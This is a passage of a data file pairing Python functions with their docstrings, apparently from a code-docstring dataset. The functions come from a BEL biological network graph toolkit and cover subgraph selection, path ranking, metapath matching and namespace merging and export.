filter_edges(graph, has_pathology_causal)<EOL>}),<EOL>undefined_namespaces=get_undefined_namespaces(graph),<EOL>undefined_annotations=get_undefined_annotations(graph),<EOL>namespaces_with_incorrect_names=get_namespaces_with_incorrect_names(graph),<EOL>unused_namespaces=get_unused_namespaces(graph),<EOL>unused_annotations=get_unused_annotations(graph),<EOL>unused_list_annotation_values=get_unused_list_annotation_values(graph),<EOL>naked_names=get_naked_names(graph),<EOL>error_count=count_error_types(graph),<EOL>error_groups=get_most_common_errors(graph),<EOL>syntax_errors=get_syntax_errors(graph),<EOL>citation_years=get_citation_years(graph),<EOL>confidence_count=count_confidences(graph),<EOL>)<EOL>", "docstring": "Create a summary dictionary.", "id": "f9359:m1"}
{"signature": "def get_pair_tuple(a: BaseEntity, b: BaseEntity) -> Tuple[str, str, str, str]:", "body": "return a.as_bel(), a.sha512, b.as_bel(), b.sha512<EOL>", "docstring": "Get the pair as a tuple of BEL/hashes.", "id": "f9359:m2"}
{"signature": "def get_triplet_tuple(a: BaseEntity, b: BaseEntity, c: BaseEntity) -> Tuple[str, str, str, str, str, str]:", "body": "return a.as_bel(), a.sha512, b.as_bel(), b.sha512, c.as_bel(), c.sha512<EOL>", "docstring": "Get the triple as a tuple of BEL/hashes.", "id": "f9359:m3"}
{"signature": "def to_jupyter(graph: BELGraph, chart: Optional[str] = None) -> Javascript:", "body": "with open(os.path.join(HERE, '<STR_LIT>'), '<STR_LIT>') as f:<EOL><INDENT>js_template = Template(f.read())<EOL><DEDENT>return Javascript(js_template.render(**_get_context(graph, chart=chart)))<EOL>", "docstring": "Render the graph as JavaScript in a Jupyter Notebook.", "id": "f9363:m0"}
{"signature": "def to_html(graph: BELGraph, chart: Optional[str] = None) -> str:", "body": "with open(os.path.join(HERE, '<STR_LIT>'), '<STR_LIT>') as f:<EOL><INDENT>html_template = Template(f.read())<EOL><DEDENT>return html_template.render(**_get_context(graph, chart=chart))<EOL>", "docstring": "Render the graph as an HTML string.\n\n    Common usage may involve writing to a file like:\n\n    >>> from pybel.examples import sialic_acid_graph\n    >>> with open('ideogram_output.html', 'w') as file:\n    ...     print(to_html(sialic_acid_graph), file=file)", "id": "f9363:m1"}
{"signature": "def _generate_id() -> str:", "body": "return '<STR_LIT>'.join(random.sample('<STR_LIT>', <NUM_LIT:16>))<EOL>", "docstring": "Generate a random string of letters.", "id": "f9363:m3"}
{"signature": "def prerender(graph: BELGraph) -> Mapping[str, Mapping[str, Any]]:", "body": "import bio2bel_hgnc<EOL>from bio2bel_hgnc.models import HumanGene<EOL>graph: BELGraph = graph.copy()<EOL>enrich_protein_and_rna_origins(graph)<EOL>collapse_all_variants(graph)<EOL>genes: Set[Gene] = get_nodes_by_function(graph, GENE)<EOL>hgnc_symbols = {<EOL>gene.name<EOL>for gene in genes<EOL>if gene.namespace.lower() == '<STR_LIT>'<EOL>}<EOL>result = {}<EOL>hgnc_manager = bio2bel_hgnc.Manager()<EOL>human_genes = (<EOL>hgnc_manager.session<EOL>.query(HumanGene.symbol, HumanGene.location)<EOL>.filter(HumanGene.symbol.in_(hgnc_symbols))<EOL>.all()<EOL>)<EOL>for human_gene in human_genes:<EOL><INDENT>result[human_gene.symbol] = {<EOL>'<STR_LIT:name>': human_gene.symbol,<EOL>'<STR_LIT>': (<EOL>human_gene.location.split('<STR_LIT:q>')[<NUM_LIT:0>]<EOL>if '<STR_LIT:q>' in human_gene.location else<EOL>human_gene.location.split('<STR_LIT:p>')[<NUM_LIT:0>]<EOL>),<EOL>}<EOL><DEDENT>df = get_df()<EOL>for _, (gene_id, symbol, start, stop) in df[df['<STR_LIT>'].isin(hgnc_symbols)].iterrows():<EOL><INDENT>result[symbol]['<STR_LIT:start>'] = start<EOL>result[symbol]['<STR_LIT>'] = stop<EOL><DEDENT>return result<EOL>", "docstring": "Generate the annotations JSON for Ideogram.", "id": "f9363:m4"}
{"signature": "def get_df() -> pd.DataFrame:", "body": "return pd.read_csv(os.path.join(HERE, '<STR_LIT>'))<EOL>", "docstring": "Get RefSeq information as a dataframe.", "id": "f9363:m5"}
{"signature": "@transformation<EOL>def get_subgraph_by_node_filter(graph: BELGraph, node_predicates: NodePredicates) -> BELGraph:", "body": "return get_subgraph_by_induction(graph, filter_nodes(graph, node_predicates))<EOL>", "docstring": "Induce a sub-graph on the nodes that pass the given predicate(s).", "id": "f9365:m0"}
{"signature": "@transformation<EOL>def get_causal_subgraph(graph: BELGraph) -> BELGraph:", "body": "return get_subgraph_by_edge_filter(graph, is_causal_relation)<EOL>", "docstring": "Build a new sub-graph induced over the causal edges.", "id": "f9365:m1"}
{"signature": "@transformation<EOL>def get_subgraph_by_node_search(graph: BELGraph, query: Strings) -> BELGraph:", "body": "nodes = search_node_names(graph, query)<EOL>return get_subgraph_by_induction(graph, nodes)<EOL>", "docstring": "Get a sub-graph induced over all nodes matching the query string.\n\n    :param graph: A BEL Graph\n    :param query: A query string or iterable of query strings for node names\n\n    Thinly wraps :func:`search_node_names` and :func:`get_subgraph_by_induction`.", "id": "f9365:m2"}
{"signature": "@transformation<EOL>def get_largest_component(graph: BELGraph) -> BELGraph:", "body": "biggest_component_nodes = max(nx.weakly_connected_components(graph), key=len)<EOL>return subgraph(graph, biggest_component_nodes)<EOL>", "docstring": "Get the giant component of a graph.", "id": "f9365:m3"}
{"signature": "def search_node_names(graph, query):", "body": "return filter_nodes(graph, build_node_name_search(query))<EOL>", "docstring": "Search for nodes containing a given string(s).\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param query: The search query\n    :type query: str or iter[str]\n    :return: An iterator over nodes whose names match the search query\n    :rtype: iter\n\n    Example:\n\n    .. code-block:: python\n\n        >>> from pybel.examples import sialic_acid_graph\n        >>> from pybel_tools.selection import search_node_names\n        >>> list(search_node_names(sialic_acid_graph, 'CD33'))\n        [('Protein', 'HGNC', 'CD33'), ('Protein', 'HGNC', 'CD33', ('pmod', ('bel', 'Ph')))]", "id": "f9366:m0"}
{"signature": "def search_node_namespace_names(graph, query, namespace):", "body": "node_predicates = [<EOL>namespace_inclusion_builder(namespace),<EOL>build_node_name_search(query)<EOL>]<EOL>return filter_nodes(graph, node_predicates)<EOL>", "docstring": "Search for nodes with the given namespace(s) and whose names containing a given string(s).\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param query: The search query\n    :type query: str or iter[str]\n    :param namespace: The namespace(s) to filter\n    :type namespace: str or iter[str]\n    :return: An iterator over nodes whose names match the search query\n    :rtype: iter", "id": "f9366:m1"}
{"signature": "def search_node_hgnc_names(graph, query):", "body": "return search_node_namespace_names(graph, query, namespace='<STR_LIT>')<EOL>", "docstring": "Search for nodes with the HGNC namespace and whose names containing a given string(s).\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param query: The search query\n    :type query: str or iter[str]\n    :return: An iterator over nodes whose names match the search query\n    :rtype: iter", "id": "f9366:m2"}
{"signature": "def pairwise(iterable):", "body": "a, b = itt.tee(iterable)<EOL>next(b, None)<EOL>return zip(a, b)<EOL>", "docstring": "s -> (s0,s1), (s1,s2), (s2, s3), ...", "id": "f9367:m0"}
{"signature": "def rank_path(graph, path, edge_ranking=None):", "body": "edge_ranking = default_edge_ranking if edge_ranking is None else edge_ranking<EOL>return sum(max(edge_ranking[d[RELATION]] for d in graph.edge[u][v].values()) for u, v in pairwise(path))<EOL>", "docstring": "Takes in a path (a list of nodes in the graph) and calculates a score\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param list[tuple] path: A list of nodes in the path (includes terminal nodes)\n    :param dict edge_ranking: A dictionary of {relationship: score}\n    :return: The score for the edge\n    :rtype: int", "id": "f9367:m1"}
{"signature": "def find_root_in_path(graph, path_nodes):", "body": "path_graph = graph.subgraph(path_nodes)<EOL>node_in_degree_tuple = sorted([(n, d) for n, d in path_graph.in_degree().items()], key=itemgetter(<NUM_LIT:1>))<EOL>node_out_degree_tuple = sorted([(n, d) for n, d in path_graph.out_degree().items()], key=itemgetter(<NUM_LIT:1>),<EOL>reverse=True)<EOL>tied_root_index = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, (len(node_in_degree_tuple) - <NUM_LIT:1>)):<EOL><INDENT>if node_in_degree_tuple[i][<NUM_LIT:1>] < node_in_degree_tuple[i + <NUM_LIT:1>][<NUM_LIT:1>]:<EOL><INDENT>tied_root_index = i<EOL>break<EOL><DEDENT><DEDENT>if tied_root_index != <NUM_LIT:0>:<EOL><INDENT>root_tuple = max(node_out_degree_tuple[:tied_root_index], key=itemgetter(<NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>root_tuple = node_in_degree_tuple[<NUM_LIT:0>]<EOL><DEDENT>return path_graph, root_tuple[<NUM_LIT:0>]<EOL>", "docstring": "Find the 'root' of the path -> The node with the lowest out degree, if multiple:\n         root is the one with the highest out degree among those with lowest out degree\n\n    :param pybel.BELGraph graph: A BEL Graph\n    :param list[tuple] path_nodes: A list of nodes in their order in a path\n    :return: A pair of the graph: graph of the path and the root node\n    :rtype: tuple[pybel.BELGraph,tuple]", "id": "f9367:m5"}
{"signature": "def convert_path_to_metapath(graph, nodes):", "body": "return [<EOL>graph.node[node][FUNCTION]<EOL>for node in nodes<EOL>]<EOL>", "docstring": "Converts a list of nodes to their corresponding functions\n\n    :param list[tuple] nodes: A list of BEL node tuples\n    :rtype: list[str]", "id": "f9369:m0"}
{"signature": "@lru_cache(maxsize=None)<EOL>def get_walks_exhaustive(graph, node, length):", "body": "if <NUM_LIT:0> == length:<EOL><INDENT>return (node,),<EOL><DEDENT>return tuple(<EOL>(node, key) + path<EOL>for neighbor in graph.edge[node]<EOL>for path in get_walks_exhaustive(graph, neighbor, length - <NUM_LIT:1>)<EOL>if node not in path<EOL>for key in graph.edge[node][neighbor]<EOL>)<EOL>", "docstring": "Gets all walks under a given length starting at a given node\n\n    :param networkx.Graph graph: A graph\n    :param node: Starting node\n    :param int length: The length of walks to get\n    :return: A list of paths\n    :rtype: list[tuple]", "id": "f9369:m1"}
{"signature": "def match_simple_metapath(graph, node, simple_metapath):", "body": "if <NUM_LIT:0> == len(simple_metapath):<EOL><INDENT>yield node,<EOL><DEDENT>else:<EOL><INDENT>for neighbor in graph.edges[node]:<EOL><INDENT>if graph.nodes[neighbor][FUNCTION] == simple_metapath[<NUM_LIT:0>]:<EOL><INDENT>for path in match_simple_metapath(graph, neighbor, simple_metapath[<NUM_LIT:1>:]):<EOL><INDENT>if node not in path:<EOL><INDENT>yield (node,) + path<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Matches a simple metapath starting at the given node\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param tuple node: A BEL node\n    :param list[str] simple_metapath: A list of BEL Functions\n    :return: An iterable over paths from the node matching the metapath\n    :rtype: iter[tuple]", "id": "f9369:m2"}
{"signature": "def convert_simple_walk(graph, simple_walk):", "body": "return [<EOL>graph.nodes[node][FUNCTION]<EOL>for node in simple_walk<EOL>]<EOL>", "docstring": "Converts a walk into a sequence of BEL functions\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param iter[tuple] simple_walk: An iterable of BEL nodes\n    :return: A list of BEL functions of the walk\n    :rtype: list[str]", "id": "f9369:m3"}
{"signature": "def match_complex_metapath(graph, node, complex_metapath):", "body": "raise NotImplementedError<EOL>", "docstring": "Matches a complex metapath starting at the given node\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param tuple node: A BEL node\n    :param list[str] complex_metapath: An iterable of alternating BEL nodes and relations\n    :return: An iterable over paths from the node matching the metapath\n    :rtype: iter[tuple]", "id": "f9369:m4"}
{"signature": "def convert_complex_walk(graph, complex_walk):", "body": "raise NotImplementedError<EOL>", "docstring": "Converts a walk into an alternative sequence of BEL functions and BEL relations, starting and ending\n    with a BEL function\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param iter[tuple] complex_walk: An iterable of alternating BEL nodes and relations\n    :return: An alternating list of BEL functions and relations of the walk\n    :rtype: list[str]", "id": "f9369:m5"}
{"signature": "def get_leaves_by_type(graph, func=None, prune_threshold=<NUM_LIT:1>):", "body": "for node, data in graph.nodes(data=True):<EOL><INDENT>if func and func != data.get(FUNCTION):<EOL><INDENT>continue<EOL><DEDENT>if graph.in_degree(node) + graph.out_degree(node) <= prune_threshold:<EOL><INDENT>yield node<EOL><DEDENT><DEDENT>", "docstring": "Returns an iterable over all nodes in graph (in-place) with only a connection to one node. Useful for gene and\n     RNA. Allows for optional filter by function type.\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param func: If set, filters by the node's function from :mod:`pybel.constants` like\n                    :data:`pybel.constants.GENE`, :data:`pybel.constants.RNA`,  :data:`pybel.constants.PROTEIN`, or \n                    :data:`pybel.constants.BIOPROCESS`\n    :type func: str\n    :param prune_threshold: Removes nodes with less than or equal to this number of connections. Defaults to :code:`1`\n    :type prune_threshold: int\n    :return: An iterable over nodes with only a connection to one node\n    :rtype: iter[tuple]", "id": "f9370:m0"}
{"signature": "def group_nodes_by_annotation(graph: BELGraph, annotation: str = '<STR_LIT>') -> Mapping[str, Set[BaseEntity]]:", "body": "result = defaultdict(set)<EOL>for u, v, d in graph.edges(data=True):<EOL><INDENT>if not edge_has_annotation(d, annotation):<EOL><INDENT>continue<EOL><DEDENT>result[d[ANNOTATIONS][annotation]].add(u)<EOL>result[d[ANNOTATIONS][annotation]].add(v)<EOL><DEDENT>return dict(result)<EOL>", "docstring": "Group the nodes occurring in edges by the given annotation.", "id": "f9371:m0"}
{"signature": "def average_node_annotation(graph: BELGraph,<EOL>key: str,<EOL>annotation: str = '<STR_LIT>',<EOL>aggregator: Optional[Callable[[Iterable[X]], X]] = None,<EOL>) -> Mapping[str, X]:", "body": "if aggregator is None:<EOL><INDENT>def aggregator(x):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return sum(x) / len(x)<EOL><DEDENT><DEDENT>result = {}<EOL>for subgraph, nodes in group_nodes_by_annotation(graph, annotation).items():<EOL><INDENT>values = [graph.nodes[node][key] for node in nodes if key in graph.nodes[node]]<EOL>result[subgraph] = aggregator(values)<EOL><DEDENT>return result<EOL>", "docstring": "Groups graph into subgraphs and assigns each subgraph a score based on the average of all nodes values\n    for the given node key\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param key: The key in the node data dictionary representing the experimental data\n    :param annotation: A BEL annotation to use to group nodes\n    :param aggregator: A function from list of values -> aggregate value. Defaults to taking the average of a list of\n                       floats.\n    :type aggregator: lambda", "id": "f9371:m1"}
{"signature": "def group_nodes_by_annotation_filtered(graph: BELGraph,<EOL>node_predicates: NodePredicates = None,<EOL>annotation: str = '<STR_LIT>',<EOL>) -> Mapping[str, Set[BaseEntity]]:", "body": "node_filter = concatenate_node_predicates(node_predicates)<EOL>return {<EOL>key: {<EOL>node<EOL>for node in nodes<EOL>if node_filter(graph, node)<EOL>}<EOL>for key, nodes in group_nodes_by_annotation(graph, annotation).items()<EOL>}<EOL>", "docstring": "Group the nodes occurring in edges by the given annotation, with a node filter applied.\n\n    :param graph: A BEL graph\n    :param node_predicates: A predicate or list of predicates (graph, node) -> bool\n    :param annotation: The annotation to use for grouping\n    :return: A dictionary of {annotation value: set of nodes}", "id": "f9371:m2"}
{"signature": "def get_mapped_nodes(graph: BELGraph, namespace: str, names: Iterable[str]) -> Mapping[BaseEntity, Set[BaseEntity]]:", "body": "parent_to_variants = defaultdict(set)<EOL>names = set(names)<EOL>for u, v, d in graph.edges(data=True):<EOL><INDENT>if d[RELATION] in {HAS_MEMBER, HAS_COMPONENT} and v.get(NAMESPACE) == namespace and v.get(NAME) in names:<EOL><INDENT>parent_to_variants[v].add(u)<EOL><DEDENT>elif d[RELATION] == HAS_VARIANT and u.get(NAMESPACE) == namespace and u.get(NAME) in names:<EOL><INDENT>parent_to_variants[u].add(v)<EOL><DEDENT>elif d[RELATION] == ORTHOLOGOUS and u.get(NAMESPACE) == namespace and u.get(NAME) in names:<EOL><INDENT>parent_to_variants[u].add(v)<EOL><DEDENT><DEDENT>return dict(parent_to_variants)<EOL>", "docstring": "Return a dict with keys: nodes that match the namespace and in names and values other nodes (complexes, variants, orthologous...) or this node.\n\n    :param graph: A BEL graph\n    :param namespace: The namespace to search\n    :param names: List or set of values from which we want to map nodes from\n    :return: Main node to variants/groups.", "id": "f9371:m3"}
{"signature": "def is_edge_consistent(graph, u, v):", "body": "if not graph.has_edge(u, v):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(graph, u, v))<EOL><DEDENT>return <NUM_LIT:0> == len(set(d[RELATION] for d in graph.edge[u][v].values()))<EOL>", "docstring": "Check if all edges between two nodes have the same relation.\n\n    :param pybel.BELGraph graph: A BEL Graph\n    :param tuple u: The source BEL node\n    :param tuple v: The target BEL node\n    :return: If all edges from the source to target node have the same relation\n    :rtype: bool", "id": "f9372:m0"}
{"signature": "def all_edges_consistent(graph):", "body": "return all(<EOL>is_edge_consistent(graph, u, v)<EOL>for u, v in graph.edges()<EOL>)<EOL>", "docstring": "Return if all edges are consistent in a graph. Wraps :func:`pybel_tools.utils.is_edge_consistent`.\n\n    :param pybel.BELGraph graph: A BEL graph\n    :return: Are all edges consistent\n    :rtype: bool", "id": "f9372:m1"}
{"signature": "@transformation<EOL>def rewire_targets(graph, rewiring_probability):", "body": "if not all_edges_consistent(graph):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(graph))<EOL><DEDENT>result = graph.copy()<EOL>nodes = result.nodes()<EOL>for u, v in result.edges():<EOL><INDENT>if random.random() < rewiring_probability:<EOL><INDENT>continue<EOL><DEDENT>w = random.choice(nodes)<EOL>while w == u or result.has_edge(u, w):<EOL><INDENT>w = random.choice(nodes)<EOL><DEDENT>result.add_edge(w, v)<EOL>result.remove_edge(u, v)<EOL><DEDENT>return result<EOL>", "docstring": "Rewire a graph's edges' target nodes.\n\n    - For BEL graphs, assumes edge consistency (all edges between two given nodes are have the same relation)\n    - Doesn't make self-edges\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param float rewiring_probability: The probability of rewiring (between 0 and 1)\n    :return: A rewired BEL graph", "id": "f9372:m2"}
{"signature": "def get_merged_namespace_names(locations, check_keywords=True):", "body": "resources = {location: get_bel_resource(location) for location in locations}<EOL>if check_keywords:<EOL><INDENT>resource_keywords = set(config['<STR_LIT>']['<STR_LIT>'] for config in resources.values())<EOL>if <NUM_LIT:1> != len(resource_keywords):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(resource_keywords))<EOL><DEDENT><DEDENT>result = {}<EOL>for resource in resources:<EOL><INDENT>result.update(resource['<STR_LIT>'])<EOL><DEDENT>return result<EOL>", "docstring": "Loads many namespaces and combines their names.\n\n    :param iter[str] locations: An iterable of URLs or file paths pointing to BEL namespaces.\n    :param bool check_keywords: Should all the keywords be the same? Defaults to ``True``\n    :return: A dictionary of {names: labels}\n    :rtype: dict[str, str]\n\n    Example Usage\n\n    >>> from pybel.resources import write_namespace\n    >>> from pybel_tools.definition_utils import export_namespace, get_merged_namespace_names\n    >>> graph = ...\n    >>> original_ns_url = ...\n    >>> export_namespace(graph, 'MBS') # Outputs in current directory to MBS.belns\n    >>> value_dict = get_merged_namespace_names([original_ns_url, 'MBS.belns'])\n    >>> with open('merged_namespace.belns', 'w') as f:\n    >>> ...  write_namespace('MyBrokenNamespace', 'MBS', 'Other', 'Charles Hoyt', 'PyBEL Citation', value_dict, file=f)", "id": "f9373:m0"}
{"signature": "def merge_namespaces(input_locations, output_path, namespace_name, namespace_keyword, namespace_domain, author_name,<EOL>citation_name, namespace_description=None, namespace_species=None, namespace_version=None,<EOL>namespace_query_url=None, namespace_created=None, author_contact=None, author_copyright=None,<EOL>citation_description=None, citation_url=None, citation_version=None, citation_date=None,<EOL>case_sensitive=True, delimiter='<STR_LIT:|>', cacheable=True, functions=None, value_prefix='<STR_LIT>',<EOL>sort_key=None, check_keywords=True):", "body": "results = get_merged_namespace_names(input_locations, check_keywords=check_keywords)<EOL>with open(output_path, '<STR_LIT:w>') as file:<EOL><INDENT>write_namespace(<EOL>namespace_name=namespace_name,<EOL>namespace_keyword=namespace_keyword,<EOL>namespace_domain=namespace_domain,<EOL>author_name=author_name,<EOL>citation_name=citation_name,<EOL>values=results,<EOL>namespace_species=namespace_species,<EOL>namespace_description=namespace_description,<EOL>namespace_query_url=namespace_query_url,<EOL>namespace_version=namespace_version,<EOL>namespace_created=namespace_created,<EOL>author_contact=author_contact,<EOL>author_copyright=author_copyright,<EOL>citation_description=citation_description,<EOL>citation_url=citation_url,<EOL>citation_version=citation_version,<EOL>citation_date=citation_date,<EOL>case_sensitive=case_sensitive,<EOL>delimiter=delimiter,<EOL>cacheable=cacheable,<EOL>functions=functions,<EOL>value_prefix=value_prefix,<EOL>sort_key=sort_key,<EOL>file=file<EOL>)<EOL><DEDENT>", "docstring": "Merges namespaces from multiple locations to one.\n\n    :param iter input_locations: An iterable of URLs or file paths pointing to BEL namespaces.\n    :param str output_path: The path to the file to write the merged namespace\n    :param str namespace_name: The namespace name\n    :param str namespace_keyword: Preferred BEL Keyword, maximum length of 8\n    :param str namespace_domain: One of: :data:`pybel.constants.NAMESPACE_DOMAIN_BIOPROCESS`,\n                            :data:`pybel.constants.NAMESPACE_DOMAIN_CHEMICAL`,\n                            :data:`pybel.constants.NAMESPACE_DOMAIN_GENE`, or\n                            :data:`pybel.constants.NAMESPACE_DOMAIN_OTHER`\n    :param str author_name: The namespace's authors\n    :param str citation_name: The name of the citation\n    :param str namespace_query_url: HTTP URL to query for details on namespace values (must be valid URL)\n    :param str namespace_description: Namespace description\n    :param str namespace_species: Comma-separated list of species taxonomy id's\n    :param str namespace_version: Namespace version\n    :param str namespace_created: Namespace public timestamp, ISO 8601 datetime\n    :param str author_contact: Namespace author's contact info/email address\n    :param str author_copyright: Namespace's copyright/license information\n    :param str citation_description: Citation description\n    :param str citation_url: URL to more citation information\n    :param str citation_version: Citation version\n    :param str citation_date: Citation publish timestamp, ISO 8601 Date\n    :param bool case_sensitive: Should this config file be interpreted as case-sensitive?\n    :param str delimiter: The delimiter between names and labels in this config file\n    :param bool cacheable: Should this config file be cached?\n    :param functions: The encoding for the elements in this namespace\n    :type functions: iterable of characters\n    :param str value_prefix: a prefix for each name\n    :param sort_key: A function to sort the values with :func:`sorted`\n    :param bool check_keywords: Should all the keywords be the same? Defaults to ``True``", "id": "f9373:m1"}
{"signature": "def export_namespace(graph, namespace, directory=None, cacheable=False):", "body": "directory = os.getcwd() if directory is None else directory<EOL>path = os.path.join(directory, '<STR_LIT>'.format(namespace))<EOL>with open(path, '<STR_LIT:w>') as file:<EOL><INDENT>log.info('<STR_LIT>', path)<EOL>right_names = get_names_by_namespace(graph, namespace)<EOL>log.info('<STR_LIT>', len(right_names), namespace)<EOL>wrong_names = get_incorrect_names_by_namespace(graph, namespace)<EOL>log.info('<STR_LIT>', len(right_names), namespace)<EOL>undefined_ns_names = get_undefined_namespace_names(graph, namespace)<EOL>log.info('<STR_LIT>', len(right_names), namespace)<EOL>names = (right_names | wrong_names | undefined_ns_names)<EOL>if <NUM_LIT:0> == len(names):<EOL><INDENT>log.warning('<STR_LIT>', namespace)<EOL><DEDENT>write_namespace(<EOL>namespace_name=namespace,<EOL>namespace_keyword=namespace,<EOL>namespace_domain='<STR_LIT>',<EOL>author_name=graph.authors,<EOL>author_contact=graph.contact,<EOL>citation_name=graph.name,<EOL>values=names,<EOL>cacheable=cacheable,<EOL>file=file<EOL>)<EOL><DEDENT>", "docstring": "Exports all names and missing names from the given namespace to its own BEL Namespace files in the given\n    directory.\n\n    Could be useful during quick and dirty curation, where planned namespace building is not a priority.\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param str namespace: The namespace to process\n    :param str directory: The path to the directory where to output the namespace. Defaults to the current working\n                      directory returned by :func:`os.getcwd`\n    :param bool cacheable: Should the namespace be cacheable? Defaults to ``False`` because, in general, this operation\n                        will probably be used for evil, and users won't want to reload their entire cache after each\n                        iteration of curation.", "id": "f9375:m0"}
{"signature": "def export_namespaces(graph, namespaces, directory=None, cacheable=False):", "body": "directory = os.getcwd() if directory is None else directory  <EOL>for namespace in namespaces:<EOL><INDENT>export_namespace(graph, namespace, directory=directory, cacheable=cacheable)<EOL><DEDENT>", "docstring": "Thinly wraps :func:`export_namespace` for an iterable of namespaces.\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param iter[str] namespaces: An iterable of strings for the namespaces to process\n    :param str directory: The path to the directory where to output the namespaces. Defaults to the current working\n                      directory returned by :func:`os.getcwd`\n    :param bool cacheable: Should the namespaces be cacheable? Defaults to ``False`` because, in general, this operation\n                        will probably be used for evil, and users won't want to reload their entire cache after each\n                        iteration of curation.", "id": "f9375:m1"}
{"signature": "def get_peripheral_successor_edges(graph: BELGraph, subgraph: BELGraph) -> EdgeIterator:", "body": "for u in subgraph:<EOL><INDENT>for _, v, k in graph.out_edges(u, keys=True):<EOL><INDENT>if v not in subgraph:<EOL><INDENT>yield u, v, k<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Get the set of possible successor edges peripheral to the sub-graph.\n\n    The source nodes in this iterable are all inside the sub-graph, while the targets are outside.", "id": "f9376:m0"}
{"signature": "def get_peripheral_predecessor_edges(graph: BELGraph, subgraph: BELGraph) -> EdgeIterator:", "body": "for v in subgraph:<EOL><INDENT>for u, _, k in graph.in_edges(v, keys=True):<EOL><INDENT>if u not in subgraph:<EOL><INDENT>yield u, v, k<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Get the set of possible predecessor edges peripheral to the sub-graph.\n\n    The target nodes in this iterable are all inside the sub-graph, while the sources are outside.", "id": "f9376:m1"}
{"signature": "def count_sources(edge_iter: EdgeIterator) -> Counter:", "body": "return Counter(u for u, _, _ in edge_iter)<EOL>", "docstring": "Count the source nodes in an edge iterator with keys and data.\n\n    :return: A counter of source nodes in the iterable", "id": "f9376:m2"}
{"signature": "def count_targets(edge_iter: EdgeIterator) -> Counter:", "body": "return Counter(v for _, v, _ in edge_iter)<EOL>", "docstring": "Count the target nodes in an edge iterator with keys and data.\n\n    :return: A counter of target nodes in the iterable", "id": "f9376:m3"}
{"signature": "def count_possible_successors(graph: BELGraph, subgraph: BELGraph) -> Counter:", "body": "return count_targets(get_peripheral_successor_edges(graph, subgraph))<EOL>", "docstring": ":param graph: A BEL graph\n:param subgraph: An iterator of BEL nodes\n:return: A counter of possible successor nodes", "id": "f9376:m4"}
{"signature": "def count_possible_predecessors(graph: BELGraph, subgraph: BELGraph) -> Counter:", "body": "return count_sources(get_peripheral_predecessor_edges(graph, subgraph))<EOL>", "docstring": ":param graph: A BEL graph\n:param subgraph: An iterator of BEL nodes\n:return: A counter of possible predecessor nodes", "id": "f9376:m5"}
{"signature": "def get_subgraph_edges(graph: BELGraph,<EOL>annotation: str,<EOL>value: str,<EOL>source_filter=None,<EOL>target_filter=None,<EOL>):", "body": "if source_filter is None:<EOL><INDENT>source_filter = keep_node_permissive<EOL><DEDENT>if target_filter is None:<EOL><INDENT>target_filter = keep_node_permissive<EOL><DEDENT>for u, v, k, data in graph.edges(keys=True, data=True):<EOL><INDENT>if not edge_has_annotation(data, annotation):<EOL><INDENT>continue<EOL><DEDENT>if data[ANNOTATIONS][annotation] == value and source_filter(graph, u) and target_filter(graph, v):<EOL><INDENT>yield u, v, k, data<EOL><DEDENT><DEDENT>", "docstring": "Gets all edges from a given subgraph whose source and target nodes pass all of the given filters\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param str annotation:  The annotation to search\n    :param str value: The annotation value to search by\n    :param source_filter: Optional filter for source nodes (graph, node) -> bool\n    :param target_filter: Optional filter for target nodes (graph, node) -> bool\n    :return: An iterable of (source node, target node, key, data) for all edges that match the annotation/value and\n             node filters\n    :rtype: iter[tuple]", "id": "f9376:m6"}
{"signature": "def get_subgraph_peripheral_nodes(graph: BELGraph,<EOL>subgraph: Iterable[BaseEntity],<EOL>node_predicates: NodePredicates = None,<EOL>edge_predicates: EdgePredicates = None,<EOL>):", "body": "node_filter = concatenate_node_predicates(node_predicates=node_predicates)<EOL>edge_filter = and_edge_predicates(edge_predicates=edge_predicates)<EOL>result = defaultdict(lambda: defaultdict(lambda: defaultdict(list)))<EOL>for u, v, k, d in get_peripheral_successor_edges(graph, subgraph):<EOL><INDENT>if not node_filter(graph, v) or not node_filter(graph, u) or not edge_filter(graph, u, v, k):<EOL><INDENT>continue<EOL><DEDENT>result[v]['<STR_LIT>'][u].append((k, d))<EOL><DEDENT>for u, v, k, d in get_peripheral_predecessor_edges(graph, subgraph):<EOL><INDENT>if not node_filter(graph, v) or not node_filter(graph, u) or not edge_filter(graph, u, v, k):<EOL><INDENT>continue<EOL><DEDENT>result[u]['<STR_LIT>'][v].append((k, d))<EOL><DEDENT>return result<EOL>", "docstring": "Get a summary dictionary of all peripheral nodes to a given sub-graph.\n\n    :return: A dictionary of {external node: {'successor': {internal node: list of (key, dict)},\n                                            'predecessor': {internal node: list of (key, dict)}}}\n    :rtype: dict\n\n    For example, it might be useful to quantify the number of predecessors and successors:\n\n    >>> from pybel.struct.filters import exclude_pathology_filter\n    >>> value = 'Blood vessel dilation subgraph'\n    >>> sg = get_subgraph_by_annotation_value(graph, annotation='Subgraph', value=value)\n    >>> p = get_subgraph_peripheral_nodes(graph, sg, node_predicates=exclude_pathology_filter)\n    >>> for node in sorted(p, key=lambda n: len(set(p[n]['successor']) | set(p[n]['predecessor'])), reverse=True):\n    >>>     if 1 == len(p[value][node]['successor']) or 1 == len(p[value][node]['predecessor']):\n    >>>         continue\n    >>>     print(node,\n    >>>           len(p[node]['successor']),\n    >>>           len(p[node]['predecessor']),\n    >>>           len(set(p[node]['successor']) | set(p[node]['predecessor'])))", "id": "f9376:m7"}
